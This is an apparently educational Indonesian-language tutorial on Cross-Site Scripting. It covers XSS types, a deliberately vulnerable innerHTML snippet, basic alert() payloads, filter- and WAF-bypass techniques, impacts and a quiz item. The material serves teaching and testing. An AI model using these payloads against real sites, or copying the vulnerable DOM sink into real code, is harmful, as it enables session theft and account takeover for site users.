Apa Itu XSS?
Cross-Site Scripting (XSS) terjadi ketika aplikasi web menyertakan input user di halaman tanpa validasi atau encoding yang tepat, memungkinkan attacker menyisipkan script berbahaya.
Tipe XSS
1. Reflected XSS
Payload ada di URL, direfleksikan langsung ke respons. Butuh korban mengklik link berbahaya.
https://site.com/search?q=<script>alert(1)</script>
2. Stored XSS — Paling Berbahaya
Payload tersimpan di server (komentar, profil, dll), dieksekusi ke semua pengunjung.
3. DOM-based XSS
Terjadi sepenuhnya di client — data dari URL langsung masuk ke sink berbahaya di JS.
// Vulnerable code
document.getElementById("out").innerHTML = location.hash.substring(1);
Payloads Dasar
# Standard
<script>alert(document.domain)</script>
# Event handlers (bypass script filter)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
# Tanpa tanda kurung
<img src=x onerror=alert`1`>
# JavaScript URI
<a href="javascript:alert(1)">click</a>
Filter Bypass Techniques
# Case variation
<ScRiPt>alert(1)</ScRiPt>
# Double encoding
%253Cscript%253E (%25 = %, jadi %3C = <)
# HTML entities
<script>alert(1)</script>
# Null bytes (beberapa parser)
<scr%00ipt>alert(1)</script>
Dampak XSS
- Mencuri cookie session → Account takeover
- Keylogging — catat semua input user
- Redirect ke phishing page
- Defacement halaman
- Minecracking crypto di browser korban
Lab gratis terbaik: PortSwigger Web Academy (portswigger.net/web-security/cross-site-scripting) punya 30+ lab XSS interaktif dari basic hingga advanced. Wajib dikerjakan!
// CEK PEMAHAMAN
Payload XSS mana yang paling mungkin berhasil ketika tag <script> diblokir oleh WAF?
A<SCRIPT>alert(1)</SCRIPT>
B<img src=x onerror=alert(1)>
C%3Cscript%3Ealert(1)%3C/script%3E
D<xss>alert(1)</xss>